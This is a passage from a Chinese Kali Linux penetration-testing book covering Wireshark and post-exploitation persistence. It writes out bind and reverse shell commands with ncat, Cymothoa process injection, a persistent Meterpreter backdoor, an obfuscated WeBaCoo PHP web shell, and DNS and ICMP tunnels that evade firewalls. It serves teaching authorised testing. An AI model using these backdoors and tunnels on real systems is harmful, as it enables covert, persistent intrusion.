如需启动 Wireshark 程序,可在桌面菜单中依次选中Kali Linux| Sniffering/Spoofing |Network Sniffers | wireshark,或者在终端中使用下述指令。

# wireshark

上述指令将启动Wireshark网络协议分析程序。如果要捕捉网络数据,可以在Interface List中选择相应的网卡,如图10.30所示。

figure_0309_0137

图10.30

Wireshark将在窗口里显示在监听期间捕获到的数据包。如果要停止捕捉网络数据,可以点击顶端工具栏中第四个按钮 Stop running the live capture,或着在菜单里选择Capture|Stop。

如图10.31所示,可以在Filter栏里设置过滤规则,以显示特定的数据包。

figure_0309_0138

图10.31

在图10.31中,我们在Filter栏里设定好了过滤规则icmp,以使程序只显示ICMP协议的数据包。

如果需要调整捕获数据包的具体设置,可在菜单Capture | Options 中调整相应的选项,或在Wireshark 主界面中直接选中Capture Options 的图标(见图10.32)。

在这个界面中,您可以调整以下设置。

● Network interface(网络接口/网卡)。

● Buffer Size(缓冲区大小):默认为1MB。

● Packet limitation(数据包容量上限,以字节为单位):默认情况下没有限制。

● Capture filter to be used(捕获规则):默认情况下没有过滤规则。

○ 如需保存捕获到的数据,可在Capture file(s)区域里设置输出文件的文件名。

○ 如需设置自动停止的功能,可在StopCapture区域里设置自动停止捕获数据的触发条件。触发条件可以是捕获数据包的数量、捕获数据包的作业时间或是数据包的大小。

○ 在Name Resolution 区域里,各选项用于控制MAC 地址解析、网络名称解析和传输名称解析的功能选项。

figure_0310_0139

图10.32

10.5 本章总结

本章演示了提升本地权限以及网络嗅探和网络欺骗的具体方法。此处介绍的所有工具都可用来取得更高的访问权限。攻击人员可以通过网络嗅探和网络欺骗手段获得更多的信息,还可能获取进入内网或者外网中其他主机的方式,这些信息中可能含有更具价值的信息。

我们最先介绍了本地权限提升漏洞的利用方法。在利用被测主机的网络服务漏洞之后,我们发现获取的权限很低,接着我们将自己的权限提升为 root 权限。通过本地安全漏洞提升权限的技术有很多,本文利用的是内核漏洞。

接下来,我们阐述了攻击密码的方法。攻击的方法有两种:离线攻击和在线攻击。大多数的离线攻击工具可利用彩虹表提髙破解速度,但同时需要消耗大量的硬盘空间。离线攻击的好处是可以在自己的机器上进行,而无需担心攻击会导致目标机器上的某个账户被封停。在线攻击则可以马上査看攻击结果,但需要小心攻击可能导致目标机器上的某个账户被封停。接着,本章介绍了多款嗅探网络的工具,最后还介绍了一些可用于网络欺骗攻击的工具。网络嗅探工具属于被动攻击工具。相比之下,因为网络欺骗工具能够向网络发送数据,所以属于主动攻击工具。

在下一章,我们讨论如何维护已经取得的访问权限。

第11章 访问维护

上一章讨论了在目标主机上提升权限的方法。本章将介绍在滲透测试过程的最后一个环节,即帮助我们随时进入目标主机的方法。

在完成了提升权限的阶段性工作之后,我们应当建立一种机制,以维持对目标主机的控制权。这样一来,即使我们所利用的漏洞被补丁程序修复,我们还可以继续控制目标系统。当然,在做这项测试之前,必须要争得客户的许可。

维持控制权的程序可分为以下几类:

● 操作系统后门;

● 隧道工具;

● Web 后门。

11.1 操作系统后门

简单地说,所谓后门(backdoor),泛指绕过目标系统安全控制体系的正规用户认证过程而维持我们对目标系统的控制权,以及隐匿我们控制行为的方法。本节将介绍多款操作系统的后门程序。

11.1.1 Cymothoa

Cymothoa 是一款可以将 shellcode 注入到现有进程的(即插进程)后门工具。借助这种注入手段,它能够把shellcode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序(进程)共存,以避免被管理和维护人员怀疑。将shellcode注入到其他进程,还有另外一项优势:即使目标系统的安全防护工具能够监视可执行程序的完整性,只要它不检测内存,那么它就不能发现(插进程)后门程序的进程。

如需启动Cymothoa程序,可使用下述指令。

cymothoa

上述指令将会显示 Cymothoa 程序的帮助信息。在使用这个程序时,必须通过-p 选项指定目标进程的PID,并通过-s选项指定shellcode的编号。

您可在目标主机上使用ps指令,以查看程序的PID信息。另外,如图11.1所示,您可以使用程序的-S选项列出所有可用的shellcode和对应编号。

figure_0313_0140

图11.1

在渗透到目标主机之后,可把cymothoa的可执行程序复制到目标主机上,继而生成后门程序。

此后,您需要决定shellcode类型以及shellcode的宿主进程。

在 Linux 系统中,我们可使用 ps-aux 指令查看当前运行的所有程序进程。这个指令的运行结果如图11.2所示。

figure_0313_0141

图11.2

虽然返回结果分为很多列,但是我们只关注以下几列。

● 第一列:启动用户。

● 第二列:PID。

● 最后一列:指令。

本例中,我们选定PID 4255 的进程(rpc.mountd)为宿主进程,并决定使用第一类shellcode。另外,我们还需要使用-y[port number]选项指定 payload 的服务端口。综合以上信息,我们需要使用的指令如下所示。

./cymothoa –p 4255 –s 1 –y 4444

上述指令的运行结果如图11.3所示。

figure_0314_0142

图11.3

我们另找一台主机,并通过下述指令连接到目标主机的后门(4444号端口)。

nc –nvv 192.168.56.102 4444

其中,192.168.56.102是目标主机的IP地址。

我们将会看到图11.4所示的信息。

figure_0314_0143

图11.4

上述信息表明,我们成功地连接到远程主机的后门之中,并能够在目标主机上执行多个指令。

这种后门程序以运行中的程序为宿主。无论是宿主进程关闭或是目标主机重启,此类后门程序都会停止运行。若要突破这种局限,就需要使用持久型后门(persistent backdoor)。

11.1.2 Intersect

Intersect是一款适合在漏洞利用以后使用的能够自动完成多种后期任务的程序。它够自动收集密码文件、复制 SSH 密钥、收集网络信息,并能识别杀毒软件和防火墙程序。

若要使它自动执行后期任务,您需要创建自己的脚本文件,并在脚本中指定所需的各种功能。对于Intersect来说,每个功能就有对应的模块。

默认安装的 Intersect 程序自身就带有多个功能模块。在这些模块之中,与信息收集相关的模块就有下面这些。

● creds:收集认证信息。

● extras:搜索操作系统和应用程序的配置文件,以检索特定的应用程序和防护程序。

● network:收集网络信息,例如服务端口和DNS 信息。

● lanmap:枚举在线主机并收集IP 地址。

● osuser:枚举操作系统信息。

● getrepos:用于查找源代码的软件仓库。

● openshares:在特定主机上查找SMB 的公开共享。

● portscan:简易的端口扫描程序,可扫描特定IP 的1~1000 端口。

● egressbuster:在指定的端口范围内,搜索可用的外联端口。

● privsec:检测Linux 内核的系统是否存在可提权的漏洞。

● xmlcrack:将哈希列表发送端远程XMLRPC,以继续破解。

本章的主题是维护控制权,所以本文关注那些可创建shell连接的模块。

● reversexor:采用XOR 加密的reverse shell。

● bshell:基于TCP 协议的bind shell。

● rshell:基于TCP 协议的reverse shell。

● xorshell:采用XOR 加密的bind shell。

● aeshttp:采用AES 算法加密的 HTTP Reverse shell。

● udpbind:基于UDP 协议的bindshell;默认端口21541。

● persistent:会在系统启动时自动运行的持久型后门。

在创建Intersect的脚本文件时,需要遵循的以下几个通用步骤:

● 选定shell 模块;

● 给模块的变量赋值(例如端口号码和远程主机);

● 保存脚本文件。

如需启动Intersect程序,可在终端中使用下述指令。

intersect

上述指令将会调出Intersect的程序菜单,如图11.5所示。

figure_0316_0144

图11.5

我们选择Create Custom Script,然后会看到图11.6 所示的界面。

figure_0317_0145

图11.6

如需列出全部的模块,可使用modules指令。该指令的运行效果如图11.7所示。

figure_0317_0146

图11.7

我们就可通过符号=>指定某个模块,或用 info 指令查询某模块的具体信息。例如,可通过下述指令查询creds模块的详细信息。

:info creds

本例将使用reversexor模块创建持久型后门。首先要选定这个模块。

=> reversexor

reversexor added to queue.

然后调整模块的默认选项,并创建脚本文件(见图11.8)。

figure_0318_0147

图11.8

只有在远程主机安装有文件 scapy.py 的情况下,才能运行 Intersect 的脚本文件。如果遇到以下错误:

AttributeError:'module'object has no attribute 'linux_distribution'

则说明被测主机使用的Python版本过老。此时要将脚本中的 distro2 =platform.linux_distribution()[0]改为distro2 = platform. dist()[0]。

在创建了后门程序之后,要把它上传到目标主机上,并在目标主机上执行。

11.1.3 Meterpreter后门

著名的Metasploit meterpreter 程序自带一个名为metsvc 的后门程序,它可让您随时获取Meterpreter的shell。

需要小心的是,metsvc程序没有采用任何认证机制。换句话说,所有发现该后门端口的人都应该能够使用这个后门。

本例使用Windows XP 系统的主机当作被测主机。被测主机使用192.168.2.21 作为其IP地址,而测试主机的IP地址是192.168.2.22。

若要启用metsvc 后门,您首先要利用被测系统的漏洞获取Meterpreter shell。在获得shell 之后,最好使用 migrate 指令把当前会话( session )嫁接到其他进程里,例如explorer.exe(2)。这样,即使 payload(1)程序意外停止,您仍然持有被测系统的控制权(见图11.9)。

figure_0319_0148

图11.9

接下来,我们使用下述指令安装metsvc服务。

run metsvc

上述指令的运行结果如图11.10所示。

figure_0319_0149

图11.10

现在我们在被测主机上打开文件夹 C:\Documents and Settings\user\Local Settings\Temp\ hFSGPuffumYt,可在其中找到后门程序的文件(见图11.11)。

figure_0320_0150

图11.11

这个目录里有metsvc的EXE文件和DLL文件。现在我们重新启动被测主机,来检验一下这个后门是否会在启动时自动加载。

我们在测试主机上启动会话处理程序,并设定metsvc payload 的选项(见图11.12):

● RHOST: 192.168.2.21(被测主机);

● LPORT:31337(后门程序的端口号码)。

figure_0320_0151

图11.12

设置好各选项之后,我们使用execute指令发起攻击(见图11.13)。

figure_0321_0152

图11.13

上述信息表明,测试主机发起的攻击已经成功;我们再次获取到了被测主机的Meterpreter会话。此后,您可在这个会话里为所欲为。

如需在被测主机上卸载metsvc 服务,您需要在Meterpreter shell 里使用以下指令。

run metsvc -r

这样就可卸载metsvc程序。

11.2 隧道工具

在计算机领域里,隧道是指使用某个网络协议封装另外一种网络协议的技术手段。在渗透测试中,使用隧道技术主要为了让目标系统的防护机制无法发挥作用。多数情况下,目标系统的防火墙会阻止内部系统访问外网网络,只放行DNS、HTTP和HTTPS这类的常见网络协议。在这种情况下,如果要在目标系统的内网使用外网的其他网络协议,就需要构建HTTP协议的隧道。这样,防火墙就会放行隧道封装的数据。

Kali Linux 收录了几款隧道封装工具,以把某种协议的数据藏在其他协议之中。下文将会介绍部分隧道封装工具。

11.2.1 dns2tcp

dns2tcp是一种把TCP数据包伪装为DNS协议数据包的隧道封装工具。它适用于目标主机只能发送 DNS 请求的网络环境。当它在特定端口受理连接请求时,它会数据封装为DNS协议的格式,再发送到指定主机的指定端口的dns2tcp服务端程序。

dns2tcp采用了CS(客户端/服务器)架构。客户端程序叫做dns2tcpc,服务器端叫做dns2tcpd。

要启动dns2tcp的服务器端程序,可在终端中使用下述指令。

# dns2tcpd

上述指令将会在屏幕上显示简短的使用说明。

如需使用dns2tcp的客户端程序,可在终端中使用下述指令。

# dns2tcpc

上述指令将会在屏幕上显示简短的使用说明。

在使用 dns2tcp 之前,需要创建一个指向公网 dns2tcp 服务器 IP 的 NS 记录。建议为dns2tcp的程序分配子域名的DNS记录,例如dnstimnel.myexample.com。

之后就要配置 dns2tcp 服务器。默认情况下,dns2tcp 服务器端程序会在当前用户的主目录下寻找文件.dns2tcprcd,将之用作配置文件。

我们使用以下内容创建一个标准的dns2tcp服务器端配置文件。

listen = 0.0.0.0

port = 53

user = nobody

chroot = /tmp

domain = dnstunnel.example.com

resources = ssh:127.0.0.1:22

然后把这个文件保存为/etc/dns2tcpd.conf。

创建好配置文件之后,可通过下述指令启动dns2tcp的服务器端程序。

# dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf

上述指令将dns2tcpd 的调试级别设置为1(-d 1),并令其在前台运行(-F)。

dns2tcp的客户端程序同样需要进行配置。您可用以下述内容创建一个客户端应用程序的配置文件。

domain = dnstunnel.example.com

ressource = ssh

local_port = 2222

debug_level =1

将这个配置文件保存为/etc/dns2tcpc.conf,或保存为文件.dns2tcprc。这样,我们就可在执行dnstcpc程序时用配置文件提供参数,而不必在每次执行程序的时候都通过很长的命令行指令传递程序参数。

接下来,使用以下指令启动隧道的客户端程序。

# dns2tcpc –z dnstunnel.example.com -c -f /etc/dns2tcpc.conf

而且要用下述命令开启SSH会话。

# ssh -p 2222 yourname@127.0.0.1

dns2tcp程序能够以DNS协议封装数据包,但是它的隧道并不具备加密功能。因此,您可能需要对进入协议隧道前的数据包进行加密处理。

11.2.2 iodine

iodine是一款能够将IPv4的网络流量封装为DNS协议的工具。它特别适用于目标主机只能发送DNS请求的网络环境。

与其他DNS隧道工具相比,iodine具备以下优势:

● 在处理下行数据时,它可以对不其编码,所以iodine 的性能更为出色;

● 支持多种操作系统,它可以在 Linux、Mac OS、FreeBSD、NetBSD、OpenBSD 和Windows系统上运行;

● 它可用密码保护通信隧道;

● 最多支持16 个并发连接。

在使用这个程序之前,您需要准备以下条件:

● 使用尽可能短的域名;域名越短,隧道的带宽消耗就越小;

● 能够管理某个域的A 记录和NS 记录;

● 如果要通过 Internet 将 iodine 的客户端程序连接到其服务器端程序,那么运行服务器端程序的主机应当具备独立的公网IP;

● 客户端程序能够通过隧道连接到互联网。

在准备好上述事宜之后,就要分别配置DNS服务器、iodine服务端和客户端。

1.配置DNS服务器

如果您拥有某个域(example.com),那么可以给这个隧道分配一个子域(例如tunnel.example.com)。如果这个域的名称解析服务器使用BIND程序解析DNS,那么您可以在example.com 的区域文件(zone file)里添加以下2 行。

dns   IN A  192.168.200.1

tunnel  IN NS dns.example.com.

上述两行的作用是:

● 添加一个名为dns 的A 记录;

● 名为dns.example.com 的DNS 服务器负责解析tunnel 子域。

其中,192.168.200.1是iodine服务端主机使用的IP地址。

在修改了区域文件(zone file)之后,重启BIND 服务端程序以使配置生效。

2.器端模式运行iodine

以服务器端模式启动iodine程序的指令如下。

iodined –f –c –P password 192.168.200.1 tunnel.example.com

上述指令的各选项的意思如下。

● -f:以前台模式运行服务器端程序。

● -P:指定服务器端程序所用的密码。

● -C:仅用客户端地址检查。

3.户端模式运行iodine

以客户端模式运行iodine程序,只需要指定1~2个参数。第一个参数是本地DNS服务器(可选),第二个参数是隧道使用的域名(本例中,这个域是tunnel.example.com)。

以客户端模式启动iodine程序的指令如下。

iodine –f –P password tunnel.example.com

服务器端主机将会分配给客户端主机一个IP地址。这个IP地址通常会是192.168.200.2或192.168.200.3。

在测试隧道连接时,可以ping隧道对端的IP地址。

可以在客户端主机上使用以下指令。

ping 192.168.200.1

可以在服务器端主机上使用以下指令。

ping 192.168.200.2

您可能需要实际情况调整指令中的IP地址。

11.2.3 ncat

ncat 是一款集发送、接收、转发、加密数据等多种功能于一身的网络工具。ncat 是著名的Netcat程序(http://nmap.org/ncat/guide/index.html)的改进版本,它的功能有:

● 它可用作Web 服务程序和其他TCP/IP 服务器端程序的简易TCP/UDP/SCTP/ SSL客户端;

● 它可用作简单的TCP/UDP/SCTP/SSL 服务器端程序;

● 它可转发或代理TCP/UDP/SCTP 流量;

● 它可用作执行系统指令的网络网关;

● 它可使用SSL 技术加密通信数据;

● 它可使用IPv4 或IPv6 进行网络传输;

● 它可用作连接代理(Connection Broker),通过第三个中介服务器使两个(或更多)的客户端互联互通。

因为本篇讨论的是在目标主机上创建操作系统后门的方法, 所以仅介绍ncat 与后门有关的功能。

首先应当创建一个常规的backdoor shell。我们以监听模式启动ncat 程序,并指定监听的网络端口。当攻击人员连接到主机的这个端口时,就能够获取到主机的shell会话。

在本例中,各主机使用的IP地址如下:

● 攻击人员的IP 地址是192.168.2.21;

● 被测主机的IP 地址是 192.168.2.23。

接着,我们在被测主机上运行下述指令。

ncat –l 1337 –e /bin/sh

上述指令各选项的作用分别如下。

● -l:指定监听端口。

● -e:指定shell 的执行指令。

然后,我们通过下述命令,使攻击人员的主机连接到被测主机的backdoor shell。

ncat 192.168.2.23 1337

如图11.4所示,上述指令将连接到被测主机的shell。

figure_0326_0153

图11.14

下面,我们将在被测主机上创建reverse shell,使其自主连接到攻击人员的主机上。

我们首先要在攻击人员的主机上配置ncat程序,让它监听1337端口。

ncat -l 1337

接下来,我们在被测主机上执行下述指令。

ncat 192.168.2.21 1337 –e /bin/sh

执行完这个指令之后,我们就可在攻击人员的测试主机上看到图11.15的信息。

figure_0326_0154

图11.15

可随时使用组合键Ctrl+C 退出backdoor shell。

应当注意的是,上述两个例子并没有对网络流量进行加密处理。如果需要加密网络数据,就应当使用cryptcat程序。在使用cryptcat时,务必要在通信的两端使用-k选项设置加密密码,否则它将使用默认密码进行加密。

11.2.4 proxychains

proxychains程序可强制TCP客户端程序通过指定的代理服务器(或代理链)发起TCP连接。自3.1版本起,它支持SOCKS4代理、SOCKET5代理和基于CONNECT模式的HTTP代理服务器。

proxychains的文档介绍了它的各种用途:

● 适用于通过代理服务器访问外部网络的情况;

● 可用于穿越限制外联端口的防火墙(出口过滤);

● 可将2 个(或更多)代理服务器组成代理服务器链;

● 可以让本身不支持代理的程序使用代理服务器,例如Telnet、Wget、FTP、VNC 和Nmap程序,它们都是直接发起连接的程序;

● 可以通过反向代理服务器从网络外部访问内网。

如需启动proxychains程序,可在终端中使用下述指令。

# proxychains

上述指令将会在屏幕上显示简单的使用说明。

在Kali Linux 中,proxychains的配置文件是/etc/proxychains.conf。默认情况下它使用的代理服务器是 tor。如需使用其他代理服务器,可在配置文件的最后部分声明需要添加的代理服务器。

本例所使用的配置文件,其最后的代理服务器声明部分的内容如下所示。

[ProxyList]

# add proxy here ...

# meanwile

# defaults set to "tor"

socks4 127.0.0.1 9050

声明代理服务器的格式如下所示。

proxy_type host port [user pass]

代理服务器类型即http、socks4或socks5。

如果要使Telnet程序通过代理服务器建立连接,可使用下述指令。

# proxychains telnet example.com

上述指令将使 telnet 程序通过(proxychians 配置文件指定的)代理服务器登录到example.com的telnet服务。

11.2.5 ptunnel

ptunnel 是一款使用ICMP ping(请求和回复)封装TCP 连接的隧道工具。即使被测主机无法向Internet发送任何TCP和UDP的数据,只要它可以向取Internet发起ping指令,那么这款工具就可以帮助它穿越防火墙。ptunnel可以脱离TCP和UDP连接访问E-mail、上网或进行其他网络活动。

如需启动ptunnel程序,可在终端中使用下述指令。

# ptunnel -h

上述指令将会在屏幕上显示简单的使用说明及相关范例。

需要配合代理服务器才能在客户端使用ptunnel程序。而且客户端程序所在的主机必须能够访问服务器端的主机。另外,如果要在Internet上架设ptunnel服务器端程序,那么服务器端主机必须使用公网可以直接访问到的IP地址。

在此之后,可通过下述指令启动ptunnel的服务器端程序。

# ptunnel

服务器端程序将会监听所有的TCP协议的数据包。

[inf]: Starting ptunnel v 0.71.

[inf]: (c) 2004-2009 Daniel Stoedle, <daniels@cs.uit.no>

[inf]: Security features by Sebastien Raveau, <sebastien.raveau @epita.fr>

[inf]: Forwarding incoming ping packets over TCP.

[inf]: Ping proxy is listening in privileged mode.

本例中,客户端要把本机的 2222 端口的通信经由 ptunnel 服务器端( ptunnel. example.com)转发到ssh服务器(ssh.example.org)的22端口。创建这样一个定向通信隧道的指令如下。

# ptunnel -p ptunnel.example.com -lp 2222 -da ssh.example.org -dp 22

客户端将会显示如下信息。

[inf]: Starting ptunnel v 0.71.

[inf]: (c) 2004-2009 Daniel Stoedle, <daniels@cs.uit.no>

[inf]: Security features by Sebastien Raveau, <sebastien.raveau@ epita.fr>

[inf]: Relaying packets from incoming TCP streams.

然后,让SSH连接到ptunnel程序形成的隧道。

# ssh localhost -p 2222

接下来,我们使用正确的用户名和密码来登录SSH服务器。

此外,您可以在服务器端运行的命令行里通过选项-x指定隧道的密码,这样就可以防止其他人使用您的ptunnel隧道。当然,客户端和服务器端应当使用相同的密码。

11.2.6 socat

socat程序是一款使用两个独立数据通道(字节流)双向传输数据的中继程序。它的数据通道支持各种类型的数据接收器和数据源(通称为地址类型[address type])。地址类型可以是以下某个(或某两个)类型的数据对象:

● 文件;

● 程序;

● 文件描述符;

● Socket(IPv4、IPv6、SSL、TCP、UDP 和UNIX);

● 设备(网卡、串行线、TUN/TAP 设备);

● 管道。

以上每种数据流都可以添加各种参数。这种参数可以是锁定模式、用户、组、权限、地址、端口、创建人、密码、密钥等数据。

其官方文档表明,socat程序的工作流程分为4个阶段。

● 初始化阶段:在第一阶段,socat 程序要解析命令行里的选项并初始化日志系统。

● 建立连接阶段:在第二阶段,socat 程序会依次打开第一(源)地址和第二(目标)地址。因为必须先读后写,所以如果不能打开第一个地址,程序就会直接退出。

● 数据传输阶段:在第三阶段,socat 程序通过 select()函数监控两个数据通道的“读写”文件描述符。当数据源地址可读且目标地址可写时,socat会读取源数据,并在必要的时候进行换行符的转换,把源数据写到另外一个数据流里的目标文件描述符里,之后周而复始。

● 关闭连接阶段:当某个地址流遇到了 EOF(正常或意外终止信号),程序就进入了第四阶段。socat会在另外一个数据流里传递EOF信息。如果关闭连接后,在预定的时间范围内,socat在另外一个方向仍然在传输数据,那么程序将关闭所有数据通道并停止运行。

如需启动socat程序,可在终端中执行下述指令。

# socat -h

上述指令将在屏幕上显示命令行指令的各个选项,以及可选择的地址类型。

各种常用的地址类型、关键字和参数的有关介绍如下所示。

figure_0330_0155

续表

figure_0331_0156

后续篇幅将会演示socat的几种具体应用。

1.获取 HTTP header 信息

如需获取HTTP header 信息,可使用下述指令。

socat – TCP4:192.168.2.23:80

HEAD / HTTP/1.0

之后,HTTP服务器端程序将会进行回复。

HTTP/1.1 200 OK

Date: Wed, 25 Dec 2013 15:27:19 GMT

Server: Apache/2.2.8 (Ubuntu) DAV/2

X-Powered-By: PHP/5.2.4-2ubuntu5.10

Connection: close

Content-Type: text/html

2.传输文件

要从主机192.168.2.23向主机192.168.2.23发送文件,需要以下几步。

1.在主机192.168.2.23(接收端)上执行下述指令。

socat TCP4-LISTEN:12345 OPEN:php-meter.php,creat,append

socat程序将会监听12345端口。如果没有php-meter.php这个文件,socat将会创建该文件;否则将会将传输内容续写(append)到文件的尾部。

2.在主机192.168.22(发送端)上执行下述指令。

cat php-meter.php | socat – TCP4:192.168.2.23:12345

3.在接收端,我们可以通过ls指令看到socat程序创建了有关文件。

-rw-r--r-- 1 msfadmin msfadmin 1315 2013-12-25 10:34 php-meter. php

上述信息表明,文件传输成功,接收端成功地创建了有关文件。

11.2.7 sslh

sslh是SSL/SSH协议的端口复用程序。它在指定端口受理连接,然后根据远程客户端发送的第一个数据包识别应用程序的连接类型,并将之转发到相应的服务端程序。

目前,sslh可调度HTTP、HTTPS、SSH、OpenVN、tinc和XMPP协议的连接。

测试人员通常会访问远程服务器的 HTTP、HTTPS、SSH、OpenVPN 和其他协议。但是被测目标的服务提供商可能会只开放 80(http)端口和 443(https)端口,屏蔽相应的服务端口。怎么穿越这种防火墙呢?

sslh 程序可以突破这些障碍。sslh 程序的端口复用功能可在 443 端口上同时受理SSH连接和HTTPS连接。

如需启动ssh程序,可在终端中使用下述指令。

# sslh

上述指令将在屏幕上显示程序的使用方法。

在使用sslh程序之前,要对Web服务器端程序进行调整。您首先要编辑服务器程序的配置文件,使其仅监听本机(localhost)的443端口。然后重启Web服务器端程序。在Kali Linux 系统里,您需要编辑/etc/apache2/目录下的 ports.conf 文件,修改 mod_ssl部分的有关设置。

在配置文件中找到以下内容。

<IfModule mod_ssl.c>

Listen 443

</IfModule>

把它修改为:

<IfModule mod_ssl.c>

Listen 127.0.0.1:443

</IfModule>

接下来配置sslh。打开文件/etc/default/sslh,并找到下列内容。

Run=no

把上述内容替换为:

Run=yes

在我的主机上,这个文件的内容如图11.16所示。

figure_0333_0157

图11.16

保存文件并启动sslh服务。

# /etc/init.d/sslh start

[ ok ] Starting ssl/ssh multiplexer: sslh.

此外,我们可通过下述指令检查sslh程序是否在正常运行。

ps -ef | grep sslh

上述指令的运行结果如图11.17所示。

figure_0334_0158

图11.17

上述信息表明sslh运行正常。

然后,我们使用另一台主机通过443端口连接到被测主机的SSH服务。

ssh -p 443 root@192.168.2.22

上述指令的运行结果如图11.18所示。

figure_0334_0159

图11.18

上述信息表明,我们能够通过443 端口连接到Kali Linux 主机的SSH 服务。

11.2.8 stunnel4

stunnel4 可以使用 SSL 技术对客户端和服务器端之间的 TCP 会话进行加密传输。stunnel4可以为本身无法进行TLS或SSL通信的客户端及服务器程序提供安全的加密连接,而不必修改这些程序的源代码。它可以封装Samba、POP3、IMAP、SMTP和HTTP协议。

如需启动stunnel4程序,可在终端中使用下述指令。

# stunnel4 -h

上述指令将在屏幕上显示程序的使用方法。

如需查看帮助配置文件,可以指定-help选项。

# stunnel4 -help

上述指令将在屏幕上显示程序的帮助配置文件。

本文将演示使用stunnel4加密MySQL连接的具体方法。以此为基础,您可以举一反三地使用stunnel程序对其他网络服务的连接进行SSL封装。

假设服务端主机的IP地址是192.168.2.21客户端主机的IP地址是192.168.2.22。

首先要调整服务端主机的相应配置。

1.创建SSL证书和密钥。

# openssl req -new –days 365 -nodes -x509 -out /etc/stunnel/

stunnel.pem -keyout /etc/stunnel/stunnel.pem

2.依照程序的提示,依次设置国别、省份、通用名和E-mail地址的信息。

3.之后,OpenSSL 程序会制作 SSL 证书。SSL 密钥和证书信息将会保存为/etc/stunnel/ stunnel.pem。

4.调整stunnel4的配置文件,使其在3307端口上提供安全连接,并将解密后的数据包转发给本机真正的 MySQL 服务器端程序,即将下述配置信息保存为配置文件/etc/stunnel/stunnel.conf。

cert = /etc/stunnel/stunnel.pem

setuid = stunnel4

setgid = stunnel4

pid = /var/run/stunnel4/stunnel4.pid

[mysqls]

accept = 0.0.0.0:3307

connect = localhost:3306

5.修改文件/etc/default/stunnel4,使其可以自动启动。

ENABLED=1

6.启动stunnel4服务。

#/etc/init.d/stunnel4 start

Starting SSL tunnels: [Started: /etc/stunnel/stunnel.conf] stunnel.

7.检査stunnel4是否监听了3307端口。

# netstat -nap | grep 3307

8.上述指令的运行结果如下。

tcp 0 00.0.0.0:3307 0.0.0.0:*

LISTEN 8038/stunnel4

9.上述信息表明,stunnel4工作正常。

接下来,按照以下步骤配置客户端主机。

1.调整stunnel4的配置文件,使其在3306端口上受理MySQL客户端的连接,并将这个连接转发给远端stunnel服务端主机的3307端口。将下述配置信息保存为配置文件/etc/stunnel/stunnel.conf。

client = yes

[mysqls]

accept = 3306

connect = 192.168.2.21:3307

2.修改文件/etc/default/stunnel4,使其可以自动启动。

ENABLED=1

3.启动stunnel4服务。

#/etc/init.d/stunnel4 start

使用下述指令查看stunnel4服务的运行状态是否正常。

netstat -napt | grep stunnel4

在我们的演示系统上,上述指令的输出结果如下。

tcp 000.0.0.0:3306 0.0.0.0:*

LISTEN 2860/stunnel4

4.通过下述指令通过stunnel的隧道连接MySQL服务器。

#mysql -u root -h 127.0.0.1

上述指令的运行结果如图11.19所示。

figure_0337_0160

图11.19

5.而后,打开Wireshark程序,再在MySQL客户端里执行下述指令。

show databases;

在Wireshark里,我们只能看到图11.20所示的数据。

figure_0337_0161

图11.20

此时已经使用SSL技术对程序的连接进行了加密,所以我们无法看到任何明文。

相比之下,如果不使用 stunnel 程序加密网络数据,那么在进行相同数据库查询时, WireShark就能够截获出数据库数据的明文(见图11.21)。

figure_0338_0162

图11.21

在网络里进行监听可发现大量信息,收集数据库软件名称和软件版本号码、操作系统、数据库的登录用户名和密码,以及数据库里的库名等敏感信息。

11.3 创建Web后门

下文将介绍多款Web后门工具,这类工具通常用于维护控制权。

需要指出的是,IDS、杀毒软件和安全工具可能会检测出这些后门。如果对后门的隐匿性有较高要求,您需要创建自己专用的后门程序。

在本节的演示过程中,各主机和IP地址的对应关系如下:

● 攻击人员的主机使用的IP 是192.168.2.22;

● 目标主机的IP 地址是192.168.2.23。

11.3.1 WeBaCoo

WeBaCoo(Web Backdoor Cookie)是一款隐蔽的脚本类Web 后门工具。借助HTTP协议,它可在客户端和Web服务器之间实现执行代码的网页终端。

WeBaCoo有两种操作模式。

● Generation(生产线模式):指定-g 选项可进入这种模式。用户可在这种模式下制作PHP代码的payload。

● Terminal(终端模式):指定-t 选项可进入这种模式。用户可在这种模式下连接到被测主机的后门程序。

WeBaCoo的精妙之处在于,Web服务器和客户端之间的通信载体是Cookie。这就意味着多数的杀毒软件、网络入侵检测/防御系统、网络防火墙和应用程序防火墙都无法检测到后门的存在。

在WeBaCoo 的HTTP Cookie 中,以下三个参数的作用最为重要。

● cm:以Base64 编码的shell 指令。

● cn:加载着编码后输出内容的Cookie 名称。

● cp:封装编码后输出内容的分隔符。

如需启动WeBaCoo程序,可在终端中执行下述指令。

# webacoo -h

上述指令将会显示程序的使用说明。本文首先介绍制作后门的具体方法。

与生成模式有关的命令行选项如下。

figure_0339_0163

如果要用默认的设置,生成名为test.php的PHP后门程序,并使用WeBaCoo的代码混淆技术对后门进行处理,那么可以使用下述指令。

# webacoo -g -o test.php

上述指令的运行结果如下。

WeBaCoo 0.2.3 - Web Backdoor Cookie Script-Kit

Copyright (C) 2011-2012 Anestis Bechtsoudis

{@anestisb | anestis@bechtsoudis.com | http(s)://bechtsou dis .com }

[+] Backdoor file "test.php" created.

文件test.php的内容如图11.22所示。

figure_0339_0164

图11.22

而后,把这个文件上传到被测主机(192.168.2.23)。

接下来就可以使用以下指令连接到被测主机的后门程序。

# webacoo -t -u http://192.168.2.23/test.php

这样就可以连接到主机上的Web shell(见图11.23)。

figure_0340_0165

图11.23

防火墙和代理服务器只能够发现客户端在发送如下请求(见图11.24)。

figure_0340_0166

图11.24

服务端的响应信息如下(见图11.25)。

figure_0340_0167

图11.25

上述HTTP 请求和回复信息表明,WeBaCoo 后门的客户端和服务器端的通信是不易发现的加密会话。它所用的混淆技术降低了它被发觉的可能性。

退出WeBaCoo终端模式的指令是exit。

11.3.2 weevely

weevely 是一款具有高隐蔽性的针对PHP 平台的Web shell。它实现了SSH 风格的终端界面,并有大量自动化的模块。测试人员可用它执行系统指令、远程管理和渗透后期的自动渗透。

下面是weevely的主要功能(https://github.com/epinna/Weevely)。

● 它有30 多种可完成自动管理渗透后期任务的功能模块。这些模块能够:

○ 执行命令和浏览远程文件系统;

○ 检测常见的服务器配置问题;

○ 创造TCP shell 和reverse shell;

○ 在被测主机上安装HTTP代理;

○ 利用目标主机进行端口扫描。

● 使用HTTP Cookie 作为后门通信的载体。

● 支持密码认证。

如需启动weevely程序,可在终端中使用下述指令。

# weevely

上述指令将会在屏幕上显示程序的使用说明。

weeavely的主要用途是:

● 生成混淆PHP backdoor;

